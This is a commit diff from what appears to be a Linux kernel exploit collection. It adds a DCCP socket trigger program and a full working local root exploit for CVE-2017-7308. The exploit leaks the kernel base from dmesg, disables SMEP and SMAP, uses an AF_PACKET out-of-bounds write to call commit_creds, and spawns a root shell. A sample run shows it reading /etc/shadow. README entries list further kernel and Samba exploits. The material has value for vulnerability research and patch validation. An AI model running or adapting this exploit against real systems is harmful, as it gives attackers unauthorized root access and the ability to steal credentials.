#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
|
||||
int main() {
|
||||
struct sockaddr_in6 sa1;
|
||||
sa1.sin6_family = AF_INET6;
|
||||
sa1.sin6_port = htons(20002);
|
||||
inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
|
||||
sa1.sin6_flowinfo = 0;
|
||||
sa1.sin6_scope_id = 0;
|
||||
|
||||
int optval = 8;
|
||||
|
||||
int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
|
||||
bind(s1, &sa1, 0x20);
|
||||
listen(s1, 0x9);
|
||||
|
||||
setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
|
||||
|
||||
int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
|
||||
connect(s2, &sa1, 0x20);
|
||||
|
||||
shutdown(s1, SHUT_RDWR);
|
||||
close(s1);
|
||||
shutdown(s2, SHUT_RDWR);
|
||||
close(s2);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
CVE-2017-7308
|
||||
=============
|
||||
|
||||
- [CVE-2017-7308](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308)
|
||||
|
||||
This is a proof-of-concept local root exploit for the vulnerability in the AF\_PACKET sockets implementation [CVE-2017-7308](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-6074).
|
||||
|
||||
Details are here: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
|
|
@ -0,0 +1,497 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on 4.8.0-41-generic Ubuntu kernel.
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Kernel symbol offsets
|
||||
#define COMMIT_CREDS 0xa5cf0ul
|
||||
#define PREPARE_KERNEL_CRED 0xa60e0ul
|
||||
#define NATIVE_WRITE_CR4 0x64210ul
|
||||
|
||||
// Should have SMEP and SMAP bits disabled
|
||||
#define CR4_DESIRED_VALUE 0x407f0ul
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
perror("[-] setsockopt(PACKET_VERSION)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
perror("[-] setsockopt(PACKET_RX_RING)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
perror("[-] socket(AF_PACKET)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
perror("[-] bind(AF_PACKET)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
perror("[-] sendto(SOCK_RAW)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
perror("[-] socket(SOCK_RAW)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
perror("[-] socket(SOCK_DGRAM)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
size = (size / getpagesize() + 1) * getpagesize();
|
||||
char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
|
||||
if (size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
const char *needle1 = "Freeing SMP";
|
||||
char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
for (size = 0; substr[size] != '\n'; size++);
|
||||
|
||||
const char *needle2 = "ffff";
|
||||
substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void exec_shell() {
|
||||
char *shell = "/bin/bash";
|
||||
char *args[] = {shell, "-i", NULL};
|
||||
execve(shell, args, NULL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
perror("[-] fork()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
printf("[.] checking if we got root\n");
|
||||
|
||||
if (!is_root()) {
|
||||
printf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("[+] got r00t ^_^\n");
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid potential
|
||||
// memory corruptions when closing packet sockets.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
perror("[-] unshare(CLONE_NEWUSER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
perror("[-] write_file(/proc/self/set_groups)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
|
||||
perror("[-] write_file(/proc/self/uid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
perror("[-] write_file(/proc/self/gid_map)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
perror("[-] sched_setaffinity()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
perror("[-] system(/sbin/ifconfig lo up)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
printf("[.] starting\n");
|
||||
|
||||
setup_sandbox();
|
||||
|
||||
printf("[.] namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
printf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
printf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
printf("[.] commit_creds: %lx\n", KERNEL_BASE + COMMIT_CREDS);
|
||||
printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
printf("[.] native_write_cr4: %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
|
||||
#endif
|
||||
|
||||
printf("[.] padding heap\n");
|
||||
kmalloc_pad(KMALLOC_PAD);
|
||||
pagealloc_pad(PAGEALLOC_PAD);
|
||||
printf("[.] done, heap is padded\n");
|
||||
|
||||
#if ENABLE_SMEP_SMAP_BYPASS
|
||||
printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
|
||||
oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
|
||||
printf("[.] done, SMEP & SMAP should be off now\n");
|
||||
#endif
|
||||
|
||||
printf("[.] executing get root payload %p\n", &get_root_payload);
|
||||
oob_id_match_execute((void *)&get_root_payload);
|
||||
printf("[.] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
while (1) sleep(1000);
|
||||
|
||||
return 0;
|
||||
}
|
15
README.md
15
README.md
|
@ -12,12 +12,26 @@ linux-kernel-exploits
|
|||
- [CVE-2017-1000367](./2017/CVE-2017-1000367) [Sudo]
|
||||
(Sudo 1.8.6p7 - 1.8.20)
|
||||
|
||||
- [CVE-2017-1000112](./2017/CVE-2017-1000112) [a memory corruption due to UFO to non-UFO path switch]
|
||||
|
||||
- [CVE-2017-7494](./2017/CVE-2017-7494) [Samba Remote execution]
|
||||
(Samba 3.5.0-4.6.4/4.5.10/4.4.14)
|
||||
|
||||
- [CVE-2017-7308](./2017/CVE-2017-7308) [a signedness issue in AF\_PACKET sockets]
|
||||
(Linux kernel through 4.10.6)
|
||||
|
||||
- [CVE-2017-6074](./2017/CVE-2017-6074) [a double-free in DCCP protocol]
|
||||
(Linux kernel through 4.9.11)
|
||||
|
||||
- [CVE-2016-9793](./2016/CVE-2016-9793) [a signedness issue with SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options]
|
||||
(Linux kernel before 4.8.14)
|
||||
|
||||
- [CVE-2016-5195](./2016/CVE-2016-5195) [Dirty cow]
|
||||
(Linux kernel>2.6.22 (released in 2007))
|
||||
|
||||
- [CVE-2016-2384](./2016/CVE-2016-2384) [a double-free in USB MIDI driver]
|
||||
(Linux kernel before 4.5)
|
||||
|
||||
- [CVE-2016-0728](./2016/CVE-2016-0728) [pp_key]
|
||||
(3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
|
||||
|
||||
|
@ -156,6 +170,7 @@ linux-kernel-exploits
|
|||
|
||||
- [kernel exploits](https://www.kernel-exploits.com/)
|
||||
- [Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/)
|
||||
- [A bunch of proof-of-concept exploits for the Linux kernel](https://github.com/xairy/kernel-exploits)
|
||||
|
||||
### 转载
|
||||
|
||||
|
|
Loading…
Reference in New Issue